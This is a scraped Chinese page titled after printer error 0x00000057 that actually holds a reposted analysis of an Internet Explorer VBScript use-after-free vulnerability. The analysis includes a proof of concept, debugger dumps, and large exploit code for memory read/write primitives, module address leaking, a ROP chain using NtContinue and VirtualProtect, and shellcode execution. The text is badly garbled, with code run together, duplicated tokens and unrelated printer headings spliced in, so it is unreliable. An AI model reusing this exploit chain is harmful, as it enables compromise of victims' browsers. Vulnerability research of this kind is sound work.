0x00000057(0x00000057无法连接打印机)

  • 时间:
  • 浏览:72
  • 来源:奥一装修网

0x00000057完美解决

我之前在“ IE VBScript漏洞CVE-2014-6332”中了解了VBScript中的关键数据结构,因此在本文中将不对其进行总结。 “ IE VBScript漏洞CVE-2014-6332”链接:https://bbs。pediy。com/thread-。htm漏洞分析POC启用页面堆gflags。exe / iexplore。exe + hpa Dim array()Dim array2(1)Class MyClassPrivate Sub Class_TerminateSetArray2(0)= array(1)array(1)= 1End SubEnd Class Redim array(1)Set array(1)= New MyClassErase arrayarray2(0)= 0catch异常如下,我们可以看到eax引用的地址已经释放,对应于poc Erase数组,调用Erase会触发Class_Terminate函数。在Class_Terminate函数中,将数组(1)分配给array2,然后平衡其引用计数,使array2成为指向MyClass的悬空指针,并且访问array2会导致访问异常。 首次机会异常将在任何异常处理之前报告。 可能会预期并处理此异常。 Eax = 0c607fd0 ebx = 0aa8af90 ecx = 00000009 edx = 00000002 esi = 0aa8af90 edi = 00000009cs = 0023 ============================================= ================================ ???? 0:005》!堆-p -a eax地址_DPH_HEAP_ROOT @ a中的地址00c607fd0在自由分配中(DDPH_HEAP_BLOCK:Vir Vir VirtAddr VirtSize)a:Pagecx2ccf2c77e70acc ntdll! RtlDebugFreeHeap + 0x0000002f77e2a967 ntdll! RtlpFreeHeap + 0x0000005d77dd32f2 ntdll! RtlFreeHeap + 0x00000142772c98cd msvcrt! Free + 0x000000cd // // eax指向的内存已释放脚本Vbscript2。 ’+ 0x000000196bc2411a vbscript! VBScriptClass ::版本+ 0x0000004375a OLEAUT32! VariantClear + 0x000000b975a3e375 OLEAUT32! ReleaseResources + 0x000000a375a45d7d OLEAUT32! SafeArrayDestroyData + 0x0000000f75a45d63 OLEAUT32! Thunk_SafeArrayDestroyData + 0x000000396bc6267f vbscript! VbsErase + 0x00000057·····调试首先,我们如下修改poc。看一下正常的发布过程。 Dim array()Dim array2(1)Class MyClassEnd ClassRedim array(1)Set array(1)= New MyClassIsEmpty(array)Erase array0:005》 peax = 0c3c4fd0 ebx = 0c3c4fd0 ecx = edx = 00000000 esi = 76e813b0 edi = 0c3c4fd4eip = f08 esp = 0894f524 ebp = 0894f534 iopl = 0 nuv up ei pl nz na po nccs = 0023 ss = 002b 0sd ================================================== ================================================== ================================================== =========== VBScriptClass ::版本+ 0x15:0 :! 005》 DPS 0c3c4fd00c3c4fd0的VBScript VBScriptClass ::`vftable“0c3c4fd4 00000000 //引用计数为0,VBScriptClass释放0c3c4fd8 000000000c3c4fdc 0c28df880c3c4fe0 00000a080c3c4fe4 000000000c3c4fe8 000000000c3c4fec 000000000c3c4ff0 000000000c3c4ff4 0c136fe4让我们看一下VbsScript中poc中MyClass的发布过程。 Ency exploit Dim gNumberDim arrayA(6),arrayB(6)Dim索引Dim gArray(40)Dim hexA,hexBDim addressDim memClassA,memClassBDim swapA,swapBDim NtContinueAddr,VirtualProtectAddrhexA = Unescape(“%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000”)hexB = Unescape(“%u0000%u0000%u0000%u0000% u0000“%u0000%u0000%u0000”)地址= 0索引= 0函数GetUint32(Addr)Dim值memClassA。mem(地址+ 8)= Addr + 4memClassA。mem(地址)= 8’类型字符串value = memClassA。P0memClassA。mem(地址)= 2GetUint32 =值结束函数函数readWord(addr)readWord = GetUint32(addr)和End Function函数readByte(addr)readByte = GetUint32(addr)And(&hFF) 结束函数函数GetBaseByDOSmodeSearch(in_addr)Dim addraddr = in_addr And&hFFFF0000Do While GetUint32(addr +&h68)&h206E6920或GetUint32(addr +&h6C)&hF44addr = addr-&h循环GetBaseByDOSmodeSearch =添加Function StrCompWrapper(addr,szName)Dim str,istr =“”对于i = 0到Len(szName)-1str = str&Chr(readByte(addr + i))接下来StrCompWrapper = StrComp(UCase(str),UCase(szName))

0x00000057无法连接打印机

结束功能函数GetBaseFromImport(base_address,name_input)Dim import_rva,nt_header,descriptor,import_dirDim addrnt_header = GetUint32(base_address +(&h3c)) import_dir = base_address + import_rva描述符= 0True时执行Dim NameOffsetNameOffset = GetUint32(import_dir +描述符*(&h14)+&hC)If NameOffset = 0则GetBaseFromImport =&hBAAD0000退出函数其他如果StrCompWrapper(base_address + NameOffset,name_input)= 0然后退出执行结束if结束if描述符=描述符+ 1循环addr = GetUint32(import_dir +描述符*(&h14)+&h10)addr = GetUint32(base_address + addr)GetBaseFromImport = GetBaseByDOSmodeSearch(addr)End FunctionFunction GetProcAddr(dll_base,name)Dim p,export_dir,indexDim function_rvas,function_names,function_ordinDim Ordinp = GetUint32(dll_base +&h3c )p = GetUint32(dll_base + p +&h78)export_dir = dll_base + pfunction_rvas = dll_base + GetUint32(export_dir +&h1c)End函数函数EscapeAddress(ByVal值)Dim,High,LowHighNumber = NumberToString((value And&hFFFF0000)/&h,4)Low = = NumberToString(value And&hFFFF0000,4)EscapeAddress = = Unescape(“%u”&Low&“%u”&High)End Function Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam)’bypass cfgDim @ ropChain’pad110FDCChainChain =,String(,Unescape( “%u4141”))’rop链ropChainin和EscapeAddress(ShellcodeAddrParam)ropChain = ropChain scapeEscapeAddress(ShellcodeAddrParam)ropropChain = ropChain(EscapeAddress(&h3000)ropropChain = ropChain&EscapeAddress(&h40)ropPC 6,Unescape(“%u4242”))ropChain = ropChain&BuildVirtualTable()’pad2WWrapShellcodeWithNtContinueContext = = ropChain结束函数ExpoWithWithVirtualProtect(ropAddr)DDim szz((&hb8-LenB(szContext))/ 2,转义(“%4141”))zszContext = = szContext&EscapeAddress(VirtualProtectAddr) szContext = = szContext&&EscapeAddress(&h1b)ssContext szContext&EscapeAddress(ropAddr)szContext = szContext&EscapeAddress(&h23)szContext = szContext&String((&400-LenB(szContext))/ 2, Unescape(“%u4343”))ExpandWithVirtualProtect= FunctionszSubContextExecuteShellcodememClassA。mem(address)=&h4dMsgbox“ ExecuteShellcode”memClassA。mem(address + 8)= 0End SubSubPrivate Sub Class_Terminate()设置arrayA(索引)= gNumber(1)index =索引+ 1gNumber(1)= 1End SubSub结束类ClassclaBPrivate Sub Class_Terminate()SetSetarrayB(index) = gNumber(1)索引=索引+ 1gNumber(1)= 1End SubSubEnd Class类testClassEnd Class类ClassDim memFunction PEnd FunctionSetProp(Value)mem =值SetProp = 0结束函数结束类类readMemClassDim mem函数P0= LenB(mem(地址+ 8))结束函数FunctionSPP结束函数结束类类@ swapObjectA公共默认属性获取P昏暗的对象P = 0791e-324对于i == 0ToTo6arrayA(i)= 0下一步设置对象=新New readMemClassobject。mem = hexA对于Fori i = 0对于To6设置arrayA (i)=对象

0x00000057打印补丁

下一个结束属性结束类类swapObjectB公共默认属性GetP暗淡IDObjectP = 9582e-328Fori i = 0’以相同的方式获取Shellcode地址当UAF函数完成时,使用memclass函数对释放的内存执行备用。 0:005》 dt ole32! TagSAFEARRAY poi(poi(esp + c)+ c)+ 0x000 cDims+ 0x010 rgsabound:【1】 tagSAFEARRAYBOUND0:005》 dd 0x0051e6300051e 00000000 02aa0858 000000000051e6406bcb0009 02aa085c 02aa0858 6bbbc0009 02aa0858 0aa 02aa0858 6bcb42110051e6706bcb0009 02aa085c 02aa0858 6bcb42110051e6806bcb0009 02aa085c 02aa0858 6bcb42110051e6a03192fbe7 00000000 0000让我们看一下InitObjects函数的功能。 SetProp函数触发SetProp的Public Default Property Get P函数的实现。在此函数中,再次释放memClass,并使用readMemClass进行定位,并分配hexA。给readMemClass一个成员变量mem,然后将返回的P = 0791e-324(00000005 02aa01dc 00000000 0000200c)复制到memClass成员mem。 由于readMemClass和memClass的mem变量地址相差0xc,所以存在内存重叠。 memClass成员变量mem的赋值使readMemClass。mem的类型成为大小为0x7FFFFFFF的变体,每个元素占用1个字节,最终实现了任意地址的读写。 执行InitObjects函数之前,memClass的内存布局。 执行InitObjects函数后,让我们先看一下内存布局。 0:005》 dt ole32! TagSAFEARRAY poi(poi(esp + c)+ c)+ 0x000 cDims::: 6301+ 0x002 Data1数据数据:: 0 0+ 0x010 rgsabound:【1】 tagSAFEARRAYBOUND0:005》 dd 0x0051e6300051e630 02aa0009 00000000000 02aa0858 000000000000051e650 02aa0009 00000000 02aa0858 000000000051e660 02aa0009 00000000 02aa0858 000000000051e680 02aa0009 00000000 02aa0858 000000000051e690 02aa0009 00000000 02aa0858 00000000 0OA00a00b00a00a00b001a00a00a00a001b001a00a00a00a00a00a00a00a00a00a00a00a00a00a00a00a001b00a00a00a00a00a00a00a00a00a00b001a00a00b001b 02aa0a8 00000000 00000000 0000000002aa0 0053bac4 00000000 02aa082002aa0a 8c000000 6bcbce78 6bcc310002aa08986bcc30f0 00000001 0067ea60 0002aa08a 0326ec94 00000000 0000000002aa08b 0000000002aa08c86bcb00b 0 0b 0b0 0b 0b 02aa72d002aa72d002aa9578 000000b8 00000100 0000010002aa72e000004000 02aa957c 02aa961c 02aa301802aa72f00000000f 000000000 00000000040 0000000000302aaaa95fc 00000000 00000000 00000000 // 02aa95fc = readMemClass。mem02aa0 $ 00000000 RMB00000000000000aa02aa0 RMB00000000 000000000002aa00000000000000000000000000:005》 dd02029595cc0202aa95f00000000000200020200102020000000 000000 822 02aad 0000000000 000000000002aa0 0000000000 00000000000:005》 dd0053baec0053baec000000001 000000000000000000003 0033bafc7fffbbff0000000000000033在Exploit中,以相同的方式将memClassB。mem构造为用于泄漏地址的vblong类型。 通过以下方法泄漏CScriptEntryPoint对象的地址。然后通过对象地址获取vbs的基地址。通过VbScript的导出表获得msvcrt。dll的基地址,获得ntdll的基地址,最后获得NtContinue和VirtualProtect函数地址。 Function GetMemValuememClassA。mem(地址)= 3End函数Sub SetMemValue(ByRef in_Ref)memClassA。mem(地址+ 8)= in_RefEnd SubSub函数LeakVBAddrOnOnError恢复下一个Dim pCScriptEntryPointObjectpCScriptEntryPointObject = testSubpCScriptEntryPointObject = ValuenuC Mem()结束功能调试verification0:005》 DD POI(ESP + C)0084f 000000000 0003b6c06c 000000000000084fa 00595af0 02A 1a0002180084ff3cdc40084f3a0 00084f0000f00f00f00a00f00a00fbf00a00f000084f3b002f 0084f4c0 00000000 00000084f3c002f3d24c 0084f4c0 02A biz00000:005》 DD 03b6c06c03b6c06c00000002 7771c026000000000000000020000000000000000000000000103b6c0bc00000000 00000000 0000 000003b6c0cc00000000 0000000000 000000002 2d1edd6d03b6c0dc 10000002a00000000 00000000000:005》 ln poi(02a)(70b)vbscript! CScriptEntryPoint :: :: vvablen’完全匹配:vbscript! CScriptEntryPoint :: :: vftable IsEmpty(addr)GetBaseByDOSmodeSearch = addr结束功能获取指定地址的内存数据漏洞利用以下方法获取执行参数的地址内存数据,并将地址指向的内存与bstr混淆。通过lenB更改的地址的4个字节的数据。 memeClassA。P0GetUint32 =值结束功能ShellCode执行Exploit,以与密钥DLL基址相同的方式获取shellCode地址,然后构建ROP链。通过仔细的控制,代码将执行ntdll! ZwContinue函数,然后使用任何读写方式将VAR的类型修改为0x4d,然后将值分配为0,以使虚拟机执行VAR :: Clear函数。最终实现shellcode执行。 Sub ExecuteShellcodememClassA。mem(地址)=&h4dmemClassA。mem(地址+ 8)= 0结束Sub 原始作者:Heavenml原始链接:https://bbs。pediy。com/thread-。 htm 更多阅读:fuzzing技术结果【原始】 ollvm字符混淆修复【原始】 Linux CVE-2017-整数扩展问题分析,导致特权提升漏洞分析【【原始】没有相应的驱动程序文件系统线程